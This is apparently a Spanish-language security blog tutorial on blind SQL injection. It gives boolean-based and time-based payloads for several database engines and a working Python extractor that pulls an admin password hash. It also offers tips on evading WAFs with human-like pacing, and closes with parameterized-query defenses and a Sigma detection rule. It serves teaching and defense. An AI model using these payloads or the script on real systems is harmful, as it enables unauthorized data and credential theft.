← Volver al Blog≡ Ver toda la Serie
SQL Injection28 de julio de 2026 · 24 min lectura

SQL Injection — Tomo II: Blind SQLi — Boolean-Based y Time-Based

El error-based te da la respuesta gritada. El blind te obliga a hacer las preguntas correctas. Y hacer las preguntas correctas es, al final, toda la ingeniería de seguridad.

SQL Injection — Tomo II: Blind SQLi — Boolean-Based y Time-Based

Categoría: Web Hacking · SQL Injection · Database Security Nivel: Intermedio Tiempo de lectura: 24 min Serie: SQL Injection Completo — 9 Tomos | Tomo 2 de 9 · Trilogía 1 (Fundamentos y Clásicos) MITRE ATT&CK: T1190 — Exploit Public-Facing Application CWE: CWE-89 — Improper Neutralization of Special Elements in SQL Commands Laboratorio asociado: CP05 · Labs SQLi-B01 al SQLi-B05 · TribuCibernetica Cyber Range


"El error-based te da la respuesta gritada. El blind te obliga a hacer las preguntas correctas. Y hacer las preguntas correctas es, al final, toda la ingeniería de seguridad."


Índice

  1. Dónde nos quedamos: del canal directo al canal ciego
  2. El modelo mental de Blind SQLi: extraer información sin verla
  3. Boolean-Based: cuando la aplicación responde en binario
  4. La mecánica de extracción carácter a carácter
  5. Búsqueda binaria: por qué 7 requests valen más que 128
  6. El ataque bit a bit: la optimización que sqlmap no usa por defecto
  7. Time-Based: cuando ni siquiera hay diferencia visible
  8. Los payloads de tiempo por motor de base de datos
  9. El problema del jitter de red y cómo compensarlo
  10. Payloads condicionales: convirtiendo tiempo en información
  11. Detección: cómo confirmar Blind SQLi antes de extraer
  12. Automatización: por qué escribir tu propio script supera a sqlmap con WAF
  13. Un extractor Boolean-Based completo en Python
  14. Impacto real: un caso de bug bounty fintech LATAM
  15. Defensa: por qué las respuestas uniformes no te salvan
  16. Detección defensiva: reglas SIEM para Blind SQLi
  17. Laboratorio en el Cyber Range
  18. Lo que viene en el Tomo 3

1. Dónde Nos Quedamos: Del Canal Directo al Canal Ciego

En el Tomo 1 cubrimos In-Band SQLi — las variantes donde el resultado de la consulta viaja de vuelta por el mismo canal HTTP que el request. Error-Based, cuando la base de datos habla de más en sus mensajes de error. Union-Based, cuando podemos agregar nuestras propias filas al resultado visible.

Ambas comparten un lujo: puedes ver los datos directamente en la respuesta.

Este tomo trata del territorio donde ese lujo desaparece. La aplicación está configurada — deliberadamente o por accidente — de forma que no muestra resultados de la consulta ni mensajes de error. La página se ve idéntica sin importar lo que inyectes.

Aquí es donde la mayoría de las personas que aprenden SQLi con tutoriales se rinden. Han memorizado ' OR '1'='1 y UNION SELECT, pero cuando la respuesta no cambia, no tienen a dónde ir.

La realidad profesional es la opuesta: Blind SQLi es la variante más común en aplicaciones modernas, precisamente porque los desarrolladores han aprendido a suprimir mensajes de error en producción. Suprimir el error no elimina la vulnerabilidad — solo la vuelve ciega. Y ciega no significa inexplotable. Significa que necesitas una metodología diferente.

Esa metodología es el corazón de este tomo.


2. El Modelo Mental de Blind SQLi: Extraer Información Sin Verla

La idea central de Blind SQLi es contraintuitiva al principio y obvia después: si no puedes leer los datos directamente, haz que la aplicación te los revele por su comportamiento.

Piénsalo como interrogar a alguien que solo puede responder sí o no. No puedes pedirle "dime la contraseña". Pero puedes preguntarle: "¿La primera letra de la contraseña viene antes de la M en el alfabeto?". Sí. "¿Viene antes de la F?". No. "¿Es la G, la H o la I?". Con suficientes preguntas binarias bien diseñadas, reconstruyes la contraseña completa sin que nunca te la hayan dicho directamente.

Blind SQLi es exactamente eso. La base de datos es el interrogado. Cada payload es una pregunta binaria. La respuesta —sí o no— la infieres de cómo se comporta la aplicación.

Hay dos formas de leer esa respuesta binaria, y definen los dos tipos de Blind SQLi:

Boolean-Based: la aplicación responde de forma observablemente diferente según si tu condición inyectada es verdadera o falsa. La página muestra resultados o no los muestra. Aparece un mensaje de "bienvenido" o uno de "error". El contenido cambia, aunque sea sutilmente.

Time-Based: la aplicación responde exactamente igual en ambos casos —mismo HTML, mismo status code— pero puedes forzarla a tardar diferente. Si tu condición es verdadera, inyectas un retraso de 5 segundos. Si la respuesta tarda 5 segundos, la condición era verdadera. El tiempo se convierte en tu único canal de información.

El principio unificador es el mismo que vimos en el Tomo 1: el intérprete SQL ejecuta cualquier SQL válido que reciba, sin juzgar la intención. En Blind, simplemente usamos esa ejecución para producir un efecto observable —un cambio de contenido o un retraso— en lugar de para leer datos directamente.


3. Boolean-Based: Cuando la Aplicación Responde en Binario

Boolean-Based Blind SQLi funciona cuando la aplicación tiene dos estados de respuesta distinguibles según el resultado de la consulta, aunque no muestre los datos.

El patrón fundamental

Considera un endpoint de búsqueda de productos:

GET /producto?id=15

Cuando el producto existe, la página muestra sus detalles. Cuando no existe, muestra "producto no encontrado". Esa diferencia — dos estados observables — es todo lo que necesitas.

Primero confirmamos que el parámetro es inyectable y que responde a lógica booleana:

-- Condición siempre verdadera
15 AND 1=1
-- La consulta interna: SELECT * FROM productos WHERE id=15 AND 1=1
-- 1=1 siempre es verdadero → la página muestra el producto 15 (estado TRUE)

-- Condición siempre falsa
15 AND 1=2
-- La consulta interna: SELECT * FROM productos WHERE id=15 AND 1=2
-- 1=2 siempre es falso → la página muestra "no encontrado" (estado FALSE)

Si 15 AND 1=1 muestra el producto y 15 AND 1=2 muestra "no encontrado", tienes dos estados distinguibles controlados por una condición SQL. Eso es un oráculo booleano — una máquina que responde verdadero o falso a cualquier pregunta que sepas formular en SQL.

Convirtiendo el oráculo en un extractor

Ahora que tienes el oráculo, cualquier dato de la base de datos es accesible reformulándolo como una serie de preguntas de sí o no:

-- ¿La base de datos actual empieza con la letra 's'?
15 AND SUBSTRING(database(),1,1)='s'
-- Si la página muestra el producto → SÍ, empieza con 's'
-- Si muestra "no encontrado" → NO

-- ¿La longitud del nombre de la base de datos es 8?
15 AND LENGTH(database())=8
-- Producto visible → SÍ, tiene 8 caracteres

Cada pregunta reduce la incertidumbre. Con suficientes preguntas, extraes cualquier dato. La única variable es cuántas preguntas necesitas — y ahí es donde entra la optimización que veremos en la sección 5.


4. La Mecánica de Extracción Carácter a Carácter

Para extraer un dato completo —digamos, la contraseña hasheada del usuario admin— el proceso sigue tres fases.

Fase 1: Determinar la longitud

Antes de extraer caracteres, saber cuántos hay evita trabajo desperdiciado:

-- ¿La contraseña tiene exactamente 60 caracteres? (típico de bcrypt)
15 AND (SELECT LENGTH(password) FROM usuarios WHERE username='admin')=60

Si es verdadero, sabes que iterarás sobre 60 posiciones. Si no conoces el rango, usa comparaciones para acotarlo:

15 AND (SELECT LENGTH(password) FROM usuarios WHERE username='admin')>50
15 AND (SELECT LENGTH(password) FROM usuarios WHERE username='admin')>55

Fase 2: Extraer cada carácter

Para cada posición, aísla el carácter con SUBSTRING y compáralo:

-- ¿El primer carácter de la contraseña es '$'? (bcrypt empieza con $2b$)
15 AND SUBSTRING((SELECT password FROM usuarios WHERE username='admin'),1,1)='$'

-- ¿El segundo carácter es '2'?
15 AND SUBSTRING((SELECT password FROM usuarios WHERE username='admin'),2,1)='2'

Fase 3: Ensamblar el resultado

Cada respuesta verdadera confirma un carácter. Repites hasta reconstruir el dato completo. Manualmente esto es tedioso; automatizado con un script (sección 13) toma segundos.

La función SUBSTRING por motor

La función de extracción de subcadena varía ligeramente entre motores, y usar la incorrecta rompe el ataque:

-- MySQL / PostgreSQL
SUBSTRING(cadena, posicion, longitud)
SUBSTR(cadena, posicion, longitud)      -- alias, también válido

-- MSSQL
SUBSTRING(cadena, posicion, longitud)   -- igual sintaxis

-- Oracle
SUBSTR(cadena, posicion, longitud)      -- SUBSTR, no SUBSTRING

Un detalle importante confirmado en la práctica: en MSSQL y SQLite, SUBSTRING sobre una posición fuera de rango devuelve NULL, no una cadena vacía. Esto afecta cómo detectas el final de una cadena y hay que tenerlo presente al escribir el extractor.


5. Búsqueda Binaria: Por Qué 7 Requests Valen Más Que 128

El enfoque ingenuo de extracción compara cada carácter contra cada valor posible del alfabeto:

-- ¿Es 'a'? ¿Es 'b'? ¿Es 'c'? ... hasta encontrarlo
15 AND SUBSTRING(...,1,1)='a'
15 AND SUBSTRING(...,1,1)='b'
15 AND SUBSTRING(...,1,1)='c'

Para el rango ASCII completo, esto requiere hasta 128 peticiones por carácter. Una contraseña de 60 caracteres podría necesitar más de 7,000 peticiones. Ruidoso, lento, y trivial de detectar.

La solución es la búsqueda binaria — o método de bisección. En lugar de preguntar "¿es igual a X?", preguntamos "¿es mayor que X?" y descartamos la mitad del espacio de búsqueda con cada respuesta.

-- Comparamos el valor ASCII del carácter, no el carácter en sí
-- Rango ASCII imprimible: 32 a 126, punto medio ≈ 79

-- ¿El valor ASCII del primer carácter es mayor que 79?
15 AND ASCII(SUBSTRING((SELECT password FROM usuarios WHERE username='admin'),1,1))>79
-- Si es verdadero: el carácter está en el rango 80-126
-- Si es falso: está en el rango 32-79

-- Supongamos verdadero. Nuevo punto medio: (80+126)/2 = 103
15 AND ASCII(SUBSTRING(...,1,1))>103
-- Si falso: rango 80-103. Nuevo punto medio: (80+103)/2 = 91
15 AND ASCII(SUBSTRING(...,1,1))>91
-- Continúa dividiendo hasta aislar el valor exacto

La matemática es la clave: la búsqueda binaria tiene complejidad logarítmica. Para el rango ASCII estándar, basta con 7 peticiones para identificar cualquier carácter, comparado con hasta 128 del enfoque lineal. Esa misma contraseña de 60 caracteres pasa de 7,000+ peticiones a alrededor de 420. Es la diferencia entre un ataque detectable en segundos y uno que puede pasar desapercibido.

Esta es exactamente la técnica que sqlmap usa internamente en su algoritmo de bisección, y es la razón por la que puede extraer bases de datos completas en tiempos razonables.


6. El Ataque Bit a Bit: La Optimización Que sqlmap No Usa Por Defecto

Existe una optimización aún más elegante que la búsqueda binaria, presentada por Roberto Salgado en Black Hat: la extracción bit a bit.

Cada carácter ASCII imprimible se representa con 7 bits (el octavo bit siempre es 0 en el rango que nos interesa, 32-126). En lugar de acotar un rango, preguntamos directamente por el valor de cada bit:

-- ¿El bit en posición N del carácter está encendido?
-- Usamos un AND binario (&) para aislar cada bit

-- Bit 0 (el menos significativo) del primer carácter
15 AND (ASCII(SUBSTRING((SELECT password FROM usuarios WHERE username='admin'),1,1)) & 1)=1

-- Bit 1
15 AND (ASCII(SUBSTRING(...,1,1)) & 2)=2

-- Bit 2
15 AND (ASCII(SUBSTRING(...,1,1)) & 4)=4

-- ... hasta el bit 6
15 AND (ASCII(SUBSTRING(...,1,1)) & 64)=64

Siete preguntas —una por bit— reconstruyen cualquier carácter. En número de requests es similar a la búsqueda binaria, pero tiene una ventaja estructural decisiva: cada bit es independiente de los demás.

En la búsqueda binaria, cada pregunta depende de la respuesta anterior — no puedes preguntar por el segundo rango hasta saber el resultado del primero. Es inherentemente secuencial. En el ataque bit a bit, los 7 bits de un carácter se pueden consultar en paralelo, con 7 hilos simultáneos, porque ninguno depende del resultado de otro.

Para un atacante con un extractor multihilo bien construido, esto significa extraer un carácter completo en el tiempo de una sola petición. Es la razón por la que herramientas especializadas superan a sqlmap en velocidad de extracción Blind. sqlmap usa bisección por defecto, que es excelente pero secuencial; el ataque bit a bit paraleliza a nivel de bit.


7. Time-Based: Cuando Ni Siquiera Hay Diferencia Visible

Boolean-Based requiere dos estados de respuesta distinguibles. Pero ¿qué pasa cuando la aplicación responde exactamente igual sin importar el resultado de la consulta? Mismo HTML, mismo status code, mismo todo.

Ahí entra Time-Based Blind SQLi. Si no puedes hacer que la aplicación se vea diferente, la haces tardar diferente.

La idea: inyectas una condición que, si es verdadera, obliga a la base de datos a dormir varios segundos antes de responder. Si la respuesta tarda ese tiempo, la condición era verdadera. Si responde de inmediato, era falsa. El reloj es tu único canal.

-- Prueba de concepto: forzar un retraso incondicional
' AND SLEEP(5)-- -
-- Si la respuesta HTTP tarda 5+ segundos, el parámetro es
-- vulnerable y el motor es MySQL/MariaDB

Time-Based es más lento y más frágil que Boolean-Based —dependes de medir tiempos, que la red distorsiona— pero funciona cuando nada más lo hace. Es el último recurso confiable antes de recurrir a técnicas Out-of-Band (que veremos en el Tomo 7).


8. Los Payloads de Tiempo Por Motor de Base de Datos

Cada motor tiene su propia forma de inducir un retraso. Usar la función correcta requiere haber identificado el motor primero (ver Tomo 1, sección de fingerprinting).

MySQL / MariaDB

-- SLEEP() directo
' AND SLEEP(5)-- -

-- Condicional: solo duerme si la condición es verdadera
' AND IF(SUBSTRING(database(),1,1)='s', SLEEP(5), 0)-- -

-- BENCHMARK como alternativa (consume CPU en lugar de dormir)
' AND (SELECT BENCHMARK(5000000, MD5('tribu')))-- -

PostgreSQL

-- pg_sleep() directo
'; SELECT pg_sleep(5)-- -

-- Condicional con CASE
'; SELECT CASE WHEN (SUBSTRING(current_database(),1,1)='p')
   THEN pg_sleep(5) ELSE pg_sleep(0) END-- -

-- Cuando pg_sleep está revocado en roles endurecidos:
-- generate_series con un límite grande quema CPU de forma observable
' AND (SELECT COUNT(*) FROM generate_series(1,10000000))>0-- -

Ese último detalle de PostgreSQL es valioso en entornos endurecidos: cuando el administrador ha revocado el permiso de ejecución sobre pg_sleep, la función generate_series con una cota alta consume suficiente CPU para producir un retraso medible sin necesidad de una función de sleep explícita.

Microsoft SQL Server (MSSQL)

-- WAITFOR DELAY: la primitiva de tiempo canónica de MSSQL
'; WAITFOR DELAY '0:0:5'-- -

-- Condicional con IF
'; IF (SUBSTRING(DB_NAME(),1,1)='m') WAITFOR DELAY '0:0:5'-- -

MSSQL solo genera el retraso cuando el predicado del IF es verdadero, lo que lo convierte en un oráculo de tiempo limpio y confiable.

Oracle

Oracle no tiene una función de sleep tradicional, pero DBMS_PIPE.RECEIVE_MESSAGE bloquea la ejecución durante los segundos indicados cuando el named pipe está vacío:

-- DBMS_PIPE como oráculo de tiempo
' AND 1=DBMS_PIPE.RECEIVE_MESSAGE('tribu',5)-- -

-- Condicional
' AND (CASE WHEN (SUBSTR(user,1,1)='S')
   THEN DBMS_PIPE.RECEIVE_MESSAGE('a',5) ELSE 1 END)=1-- -

9. El Problema del Jitter de Red y Cómo Compensarlo

Time-Based tiene un enemigo estructural que Boolean-Based no tiene: la variabilidad natural del tiempo de respuesta de la red.

Un retraso de 5 segundos es fácil de distinguir de una respuesta instantánea. Pero la red introduce ruido: latencia variable, carga del servidor, congestión. Una respuesta "instantánea" puede tardar 200ms o 1.5s según el momento. Si tu retraso inyectado es muy corto, el jitter de la red puede hacer que confundas un verdadero con un falso.

Tres técnicas para compensarlo:

Usa retrasos generosos. Un SLEEP(5) es mucho más distinguible del ruido que un SLEEP(1). El costo es velocidad —cada petición tarda más— pero la confiabilidad sube. En redes ruidosas, subir a 8-10 segundos elimina prácticamente los falsos positivos.

Mide el baseline primero. Antes de inyectar, haz varias peticiones normales y calcula el tiempo de respuesta promedio y su desviación. Tu umbral de decisión debe ser el baseline más el retraso inyectado, con margen para el jitter.

Confirma con repetición. Cuando una medición cae cerca del umbral, repítela. Si el retraso es real (inducido por SQL), será consistente. Si fue jitter de red, la repetición no lo reproducirá. Un extractor robusto repite las mediciones ambiguas dos o tres veces y toma la mediana.

Este es precisamente el tipo de robustez que un script propio maneja mejor que una herramienta genérica, porque puedes ajustar los umbrales al comportamiento específico del target.


10. Payloads Condicionales: Convirtiendo Tiempo en Información

Un retraso incondicional solo confirma que el parámetro es vulnerable. Para extraer datos, el retraso debe ser condicional: dispararse solo cuando una pregunta binaria es verdadera. Es la misma lógica de Boolean-Based, pero el canal de salida es el tiempo en lugar del contenido.

-- MySQL: extraer el primer carácter de la base de datos por tiempo
' AND IF(ASCII(SUBSTRING(database(),1,1))>109, SLEEP(5), 0)-- -
-- Si tarda 5s → el ASCII del primer carácter es > 109
-- Combinado con búsqueda binaria, extraes cada carácter en ~7 peticiones

La estructura completa combina las tres ideas del tomo: oráculo binario + búsqueda binaria + canal de tiempo.

-- El patrón universal de extracción Time-Based con bisección (MySQL)
' AND IF(
    ASCII(SUBSTRING(
      (SELECT password FROM usuarios WHERE username='admin'),
      {posicion}, 1
    )) > {punto_medio},
    SLEEP(5),
    0
  )-- -

Iterando {posicion} sobre cada carácter y ajustando {punto_medio} según la respuesta de tiempo, reconstruyes el dato completo aunque la aplicación jamás muestre nada distinto en su HTML.


11. Detección: Cómo Confirmar Blind SQLi Antes de Extraer

Antes de lanzar un extractor completo, confirma metódicamente que la vulnerabilidad existe y de qué tipo es. Lanzar payloads de extracción a ciegas contra un parámetro que no es vulnerable solo genera ruido.

Paso 1: Diferenciación booleana

-- Par de control: verdadero vs falso
id=15 AND 1=1     -- ¿Comportamiento A?
id=15 AND 1=2     -- ¿Comportamiento B distinto de A?

Si A y B difieren de forma consistente y reproducible, tienes Boolean-Based. Repite el par varias veces para descartar que la diferencia sea casual (contenido dinámico, publicidad rotativa, etc.).

Paso 2: Si no hay diferencia booleana, probar tiempo

-- Confirmar vulnerabilidad con retraso incondicional
id=15 AND SLEEP(5)-- -       -- MySQL
id=15; WAITFOR DELAY '0:0:5'-- -   -- MSSQL

Ejecuta el payload de tiempo tres veces. Si las tres tardan consistentemente 5+ segundos y las peticiones normales no, tienes Time-Based confirmado.

Paso 3: Control negativo

Un paso que muchos omiten y que evita falsos positivos: confirma que el retraso es condicional al SQL, no una casualidad.

-- Este NO debe tardar (condición falsa)
id=15 AND IF(1=2, SLEEP(5), 0)-- -
-- Este SÍ debe tardar (condición verdadera)
id=15 AND IF(1=1, SLEEP(5), 0)-- -

Si el primero responde rápido y el segundo tarda, el retraso está bajo tu control vía SQL. Vulnerabilidad confirmada sin ambigüedad.


12. Automatización: Por Qué Escribir Tu Propio Script Supera a sqlmap con WAF

sqlmap es extraordinario y debe ser tu primera opción en la mayoría de los casos. Pero hay un escenario donde un script propio gana: entornos con WAF agresivo.

sqlmap tiene una firma reconocible. Sus patrones de petición, su ritmo, sus payloads por defecto y su user-agent son conocidos por todos los WAF comerciales. En un target con Cloudflare, Imperva o AWS WAF bien configurado, sqlmap se bloquea rápido incluso con tamper scripts.

Un extractor propio te da control total sobre tres cosas que sqlmap expone:

El ritmo. Puedes introducir pausas con distribución humana entre peticiones, en lugar del ritmo mecánico de sqlmap.

La forma del payload. Adaptas la codificación y la estructura al WAF específico que tienes enfrente, en lugar de usar tampers genéricos.

La sesión. Manejas cookies, tokens CSRF y headers exactamente como lo haría un navegador real, manteniendo una sesión creíble.

No se trata de reemplazar sqlmap, sino de tener la herramienta correcta cuando sqlmap se topa con un muro. Y escribir tu propio extractor te obliga a entender la mecánica a fondo — que es el objetivo real de este tomo.


13. Un Extractor Boolean-Based Completo en Python

Este script implementa extracción Boolean-Based con búsqueda binaria. Es funcional, comentado y adaptable. Úsalo solo contra sistemas donde tengas autorización explícita — o contra los labs del Cyber Range.

#!/usr/bin/env python3
"""
Extractor Boolean-Based Blind SQLi con búsqueda binaria.
Uso educativo y en entornos autorizados únicamente.
TribuCibernetica — Serie SQL Injection, Tomo 2.
"""

import requests
import string
import sys

# ─── CONFIGURACIÓN ───────────────────────────────────
TARGET = "https://target-autorizado.com/producto"
# El {payload} se sustituye por cada pregunta binaria
PARAM = "id"
BASE_VALUE = "15"

# Indicador de respuesta TRUE: un texto que SOLO aparece
# cuando la condición inyectada es verdadera.
# Ajústalo tras analizar las respuestas del target.
TRUE_INDICATOR = "Precio:"

# Sesión con headers realistas
session = requests.Session()
session.headers.update({
    "User-Agent": ("Mozilla/5.0 (Windows NT 10.0; Win64; x64) "
                   "AppleWebKit/537.36 (KHTML, like Gecko) "
                   "Chrome/121.0.0.0 Safari/537.36"),
    "Accept-Language": "es-MX,es;q=0.9",
})


def oracle(condition: str) -> bool:
    """
    El oráculo booleano. Envía una condición SQL y devuelve
    True si la aplicación responde en estado verdadero.
    """
    payload = f"{BASE_VALUE} AND {condition}"
    params = {PARAM: payload}
    try:
        resp = session.get(TARGET, params=params, timeout=15)
        return TRUE_INDICATOR in resp.text
    except requests.RequestException as e:
        print(f"[!] Error de red: {e}", file=sys.stderr)
        return False


def extract_length(subquery: str, max_len: int = 100) -> int:
    """
    Determina la longitud del resultado de subquery
    usando búsqueda binaria sobre el rango de longitud.
    """
    low, high = 0, max_len
    while low < high:
        mid = (low + high) // 2
        if oracle(f"(SELECT LENGTH(({subquery})))>{mid}"):
            low = mid + 1
        else:
            high = mid
    return low


def extract_char(subquery: str, position: int) -> str:
    """
    Extrae un carácter individual en 'position' usando
    búsqueda binaria sobre el rango ASCII (32-126).
    ~7 peticiones por carácter.
    """
    low, high = 32, 126
    while low < high:
        mid = (low + high) // 2
        condition = (f"ASCII(SUBSTRING(({subquery}),"
                     f"{position},1))>{mid}")
        if oracle(condition):
            low = mid + 1
        else:
            high = mid
    return chr(low)


def extract(subquery: str) -> str:
    """
    Extrae el resultado completo de una subconsulta SQL.
    Ejemplo de subquery: "SELECT database()"
    """
    length = extract_length(subquery)
    print(f"[*] Longitud detectada: {length} caracteres")

    result = ""
    for pos in range(1, length + 1):
        char = extract_char(subquery, pos)
        result += char
        # Feedback en vivo mientras extrae
        print(f"\r[*] Extrayendo: {result}", end="", flush=True)
    print()
    return result


if __name__ == "__main__":
    print("[*] Confirmando vulnerabilidad...")
    if not oracle("1=1"):
        print("[!] El oráculo no responde TRUE con 1=1.")
        print("[!] Revisa TRUE_INDICATOR y la configuración.")
        sys.exit(1)
    if oracle("1=2"):
        print("[!] El oráculo responde TRUE con 1=2 (falso).")
        print("[!] El indicador no discrimina. Revísalo.")
        sys.exit(1)
    print("[+] Oráculo booleano confirmado.\n")

    # Ejemplo: extraer el nombre de la base de datos
    print("[*] Extrayendo nombre de la base de datos...")
    db_name = extract("SELECT database()")
    print(f"[+] Base de datos: {db_name}\n")

    # Ejemplo: extraer credenciales del usuario admin
    print("[*] Extrayendo hash del admin...")
    admin_hash = extract(
        "SELECT password FROM usuarios WHERE username='admin'"
    )
    print(f"[+] Hash admin: {admin_hash}")

El corazón del script es la función oracle() — la máquina de sí/no — y la función extract_char(), que implementa la búsqueda binaria de 7 peticiones por carácter que discutimos en la sección 5. Para adaptarlo a Time-Based, la única función que cambia es oracle(): en lugar de buscar un texto en la respuesta, mide si el tiempo de respuesta supera el umbral del SLEEP inyectado.


14. Impacto Real: Un Caso de Bug Bounty Fintech LATAM

El escenario que sigue es un compuesto representativo de hallazgos reales de Blind SQLi en programas de bug bounty de la región — presentado de forma anonimizada y educativa.

Un endpoint de consulta de estado de transacciones en una fintech aceptaba un parámetro de ID de referencia. La aplicación devolvía siempre el mismo mensaje genérico —"Consulta procesada"— sin importar si la referencia existía. Sin errores, sin contenido diferencial visible. A primera vista, no explotable.

La confirmación llegó por tiempo:

ref=ABC123' AND SLEEP(5)-- -

La respuesta tardó consistentemente más de 5 segundos, mientras que las peticiones normales respondían en menos de 300ms. Time-Based confirmado sobre MySQL.

A partir de ahí, la metodología del tomo se aplicó directamente: identificar el motor, confirmar con control negativo, y extraer con payloads condicionales de tiempo combinados con búsqueda binaria. La base de datos contenía tablas de usuarios y —críticamente— una tabla de tokens de sesión activos.

El impacto reportado no fue "hay SQLi". Fue: "esta vulnerabilidad permite extraer tokens de sesión activos de cualquier usuario, lo que habilita account takeover sin credenciales". Esa formulación —impacto de negocio, no técnico— es la diferencia entre un reporte que paga poco y uno que se clasifica como crítico. El Tomo 9 profundiza en cómo escribir reportes que maximizan el pago.

La lección metodológica: una respuesta uniforme no significa una aplicación segura. Significa que el canal booleano está cerrado y hay que abrir el canal de tiempo.


15. Defensa: Por Qué las Respuestas Uniformes No Te Salvan

Un patrón común y peligroso es que los equipos crean haber mitigado SQLi porque suprimieron los mensajes de error y unificaron las respuestas. "Nuestra app devuelve siempre lo mismo, así que no se puede extraer nada."

Este tomo entero es la refutación de esa creencia. Suprimir el error cierra Error-Based. Unificar el contenido cierra Boolean-Based. Pero mientras el input del usuario alcance una consulta sin parametrizar, el canal de tiempo sigue abierto — y Time-Based extrae los mismos datos, solo más despacio.

La única defensa real es la misma del Tomo 1, y no ha cambiado:

# VULNERABLE — el input alcanza la estructura de la consulta
query = f"SELECT * FROM productos WHERE id = {product_id}"

# CORRECTO — consulta parametrizada
query = "SELECT * FROM productos WHERE id = %s"
cursor.execute(query, (product_id,))

La parametrización elimina estructuralmente la posibilidad de que el input se interprete como código. No importa si el atacante usa Error-Based, Boolean-Based o Time-Based: si la separación entre código y datos es estricta, ninguno funciona.

Medidas complementarias que reducen el impacto sin ser la solución de fondo:

Principio de menor privilegio. El usuario de base de datos de la aplicación no debería poder leer la tabla de tokens de sesión si solo consulta productos. Segmentar permisos limita lo que un SQLi puede alcanzar.

Rate limiting. Blind SQLi requiere cientos o miles de peticiones. Un límite de tasa por IP y por sesión hace que la extracción sea impracticablemente lenta y visible.

Timeouts de consulta agresivos. Un SLEEP(5) es inofensivo si la base de datos aborta cualquier consulta que supere 1 segundo. Limitar el tiempo máximo de ejecución neutraliza gran parte de Time-Based.

Ninguna de estas reemplaza la parametrización. Son capas de contención, no la muralla.


16. Detección Defensiva: Reglas SIEM para Blind SQLi

Blind SQLi tiene una firma en logs distinta a la de In-Band: en lugar de payloads con UNION SELECT o comillas que rompen consultas, verás volumen alto de peticiones al mismo endpoint con variaciones sistemáticas en un parámetro, y en Time-Based, tiempos de respuesta anómalos.

Señales características en logs

✓ Cientos de peticiones al mismo endpoint desde una IP en poco tiempo
✓ Variaciones incrementales en un parámetro (SUBSTRING, ASCII, posiciones)
✓ Presencia de funciones de tiempo: SLEEP, WAITFOR, pg_sleep,
  DBMS_PIPE, BENCHMARK
✓ Tiempos de respuesta del servidor anómalamente altos y consistentes
  (5s, 10s) correlacionados con peticiones de un mismo origen
✓ Operadores de comparación (>, <, =) sobre funciones SQL en parámetros

Regla Sigma para Blind SQLi

title: Blind SQL Injection - Patrones Boolean y Time-Based
status: stable
description: Detecta patrones de extracción Blind SQLi en parámetros HTTP
logsource:
  category: webserver
detection:
  selection_functions:
    c-uri|contains:
      - 'SLEEP('
      - 'WAITFOR DELAY'
      - 'pg_sleep('
      - 'DBMS_PIPE.RECEIVE_MESSAGE'
      - 'BENCHMARK('
  selection_extraction:
    c-uri|contains:
      - 'SUBSTRING('
      - 'SUBSTR('
      - 'ASCII('
  selection_boolean:
    c-uri|contains|all:
      - ' AND '
      - '='
  condition: selection_functions or (selection_extraction and selection_boolean)
level: high
falsepositives:
  - Escáneres de seguridad autorizados
  - Herramientas de pentesting en entornos de staging

Consulta de correlación por tiempo (pseudocódigo SIEM)

La detección más potente de Time-Based no está en el contenido del payload, sino en la correlación entre origen y latencia:

Agrupar peticiones por IP de origen en ventanas de 5 minutos
Para cada grupo:
  Si (conteo de peticiones al mismo endpoint > 50)
    Y (tiempo de respuesta promedio > 4 segundos)
    Y (endpoint normalmente responde en < 1 segundo)
  Entonces:
    Alertar: posible extracción Time-Based Blind SQLi
    Prioridad: ALTA

Esta correlación detecta Time-Based incluso cuando el atacante ofusca los payloads, porque el efecto —muchas peticiones lentas desde un mismo origen— es intrínseco a la técnica y no se puede ocultar.


17. Laboratorio en el Cyber Range

Los labs del Tomo 2 están en la ruta CP05 — SQL Injection Track:

Lab SQLi-B01: Diferenciación booleana — identificar los dos estados de respuesta y confirmar el oráculo Lab SQLi-B02: Extracción Boolean-Based — reconstruir el nombre de la base de datos carácter a carácter Lab SQLi-B03: Búsqueda binaria — optimizar la extracción de un hash completo con el mínimo de peticiones Lab SQLi-B04: Time-Based sobre respuesta uniforme — cuando el contenido nunca cambia Lab SQLi-B05: Time-Based con jitter — extraer datos en un entorno con latencia de red variable

Cada lab incluye:

  • Entorno Docker aislado y efímero
  • Tres niveles: base, con respuesta parcialmente uniforme, y con rate limiting simulado
  • Flag de confirmación al extraer el dato objetivo
  • Writeup técnico con el script de extracción completo
  • Reglas SIEM incluidas — perspectiva ofensiva y defensiva en un solo recurso

→ Acceder al Cyber Range: cyber-range.tribucibernetica.com


18. Lo Que Viene en el Tomo 3

El Tomo 3 cierra la Trilogía de Fundamentos con los tres vectores que rompen las defensas que los developers creen que tienen:

Second-Order, WAF Bypass y Out-of-Band:

  • Second-Order SQLi: el payload que se almacena inofensivo y despierta en otro contexto
  • WAF Bypass: las técnicas de evasión documentadas en 2025-2026, incluyendo el bypass vía JSON que evade cinco WAFs simultáneamente
  • Out-of-Band SQLi: exfiltración vía DNS cuando ningún otro canal funciona
  • Casos reales: los CVEs de Kestra, OpenProject y PraisonAI
  • Cómo encadenar los tres vectores en un solo ataque

Glosario Técnico — Tomo 2

TérminoDefinición
Blind SQLiVariante donde no hay output directo de la consulta; los datos se infieren del comportamiento de la aplicación
Boolean-BasedBlind SQLi donde la aplicación responde de forma distinguible según si la condición inyectada es verdadera o falsa
Time-BasedBlind SQLi donde la respuesta es idéntica, pero se infiere el resultado por el tiempo de respuesta inducido
OráculoMecanismo que responde verdadero/falso a una condición SQL — la base de toda extracción Blind
Búsqueda binaria (bisección)Algoritmo que aísla un valor dividiendo el rango a la mitad en cada paso; ~7 peticiones por carácter ASCII
Ataque bit a bitOptimización que extrae cada bit de un carácter de forma independiente, permitiendo paralelización
JitterVariabilidad natural en el tiempo de respuesta de la red, principal fuente de error en Time-Based
Control negativoPayload con condición falsa usado para confirmar que un efecto observado es causado por el SQL inyectado
SLEEP() / pg_sleep() / WAITFORFunciones de retraso en MySQL / PostgreSQL / MSSQL respectivamente
BENCHMARK()Función MySQL que consume CPU repitiendo una operación; alternativa a SLEEP para inducir retraso
DBMS_PIPE.RECEIVE_MESSAGEMecanismo de Oracle usado como oráculo de tiempo por bloqueo en named pipes

Referencias Técnicas

  • Hive Security — "SQL Injection 2026: Blind, Time-Based, ORM Bypass, and WAF Evasion" (Mayo 2026)
  • Roberto Salgado — "SQL Injection Optimization and Obfuscation Techniques" (Black Hat US)
  • InfoSec Train — "Blind SQL Injection Techniques and Mitigation" (Mayo 2025)
  • PentesterLab — "Time-Based Blind SQL Injection: Definition & Security Context" (Enero 2026)
